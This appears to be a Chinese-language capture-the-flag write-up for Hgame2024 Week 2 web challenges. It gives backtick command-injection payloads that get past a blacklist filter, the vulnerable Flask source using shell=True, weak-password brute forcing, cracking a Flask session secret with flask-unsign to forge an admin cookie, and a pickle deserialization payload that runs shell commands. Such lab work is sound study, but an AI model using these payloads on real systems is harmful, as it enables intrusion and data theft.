目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. What the cow say?
    2. 2.2. Select More Courses
    3. 2.3. myflask
    4. 2.4. search4member (Unsolved)
    5. 2.5. 梅开二度 (Unsolved)
↑

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Hgame2024 Week2

2024/2/8 CTF线上赛
  |     |   总文章阅读量:次

前言

于是第二周就没怎么打了


Web

What the cow say?

linux命令执行

进去给了一个框

测试了一下发现输入~的时候会回显 /root

猜测这是一个直接执行linux命令的框

内部逻辑应该是

echo {{user_input}}

直接套双引号执行命令

user_input=`ls /`

发现flag在/flag_is_here文件夹下

user_input=`tac /f*/f*`

直接读取即可

app.py

from flask import Flask, render_template, request, redirect, url_for
import subprocess

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    result = None
    if request.method == 'POST':
        user_input = request.form['user_input']
        result = run_cowsay(user_input)
    return render_template('index.html', result=result)

@app.route('/post', methods=['POST'])
def post():
    if request.method == 'POST':
        user_input = request.form['user_input']
        result = run_cowsay(user_input)
    return render_template('index.html', result=result)

def run_cowsay(text):
    try:
        if waf(text):
            cmd_output = subprocess.check_output('cowsay ' + text, text=True, stderr=subprocess.STDOUT, shell=True)
            return cmd_output.strip()
        else:
            cmd_output = subprocess.check_output('cowsay Waf!', text=True, stderr=subprocess.STDOUT, shell=True)
            return cmd_output.strip()
    except subprocess.CalledProcessError as e:
        return run_cowsay("ERROR!")

def waf(string):
    blacklist = ['echo', 'cat', 'tee', ';', '|', '&', '<', '>', '\\', 'flag']
    for black in blacklist:
        if black in string:
            return False
    return True

if __name__ == '__main__':
    app.run("0.0.0.0", port=80)

Select More Courses

爆破

可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt

抓包丢bp爆破就行

image-20240208144408704

得到password是qwert123

进入系统,选课即可得到flag(草这里原来要条件竞争请求/api/expand的)


myflask

cookie伪造 + pickle反序列化

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

本地调试发现currentTime是一个6位数字

image-20240208155618086

那就可以用flask-unsign直接爆破

def brute_force():
    start = 100000
    end = 200000

    with open("timedict.txt", "w") as file:
        for num in range(start, end+1):
            file.write('"'+ str(num) + '"' +"\n")

brute_force()
flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcSHsw.MM2d6hkoiV87d95HnLbylYQPSIY" --wordlist timedict.txt

image-20240208164523701

得到key

加密

flask-unsign --sign --cookie "{'username': 'admin'}" --secret '154929' --no-literal-eval

image-20240208155522956

接下来pickle反序列化

直接命令执行即可

import pickle  
import base64  
  
class opcode(object):  
    def __reduce__(self):  
        return eval,("__import__('os').popen('cat /f*').read()",)  
  
a=opcode()  
print(base64.b64encode(pickle.dumps(a)))

image-20240208164457231


search4member (Unsolved)


梅开二度 (Unsolved)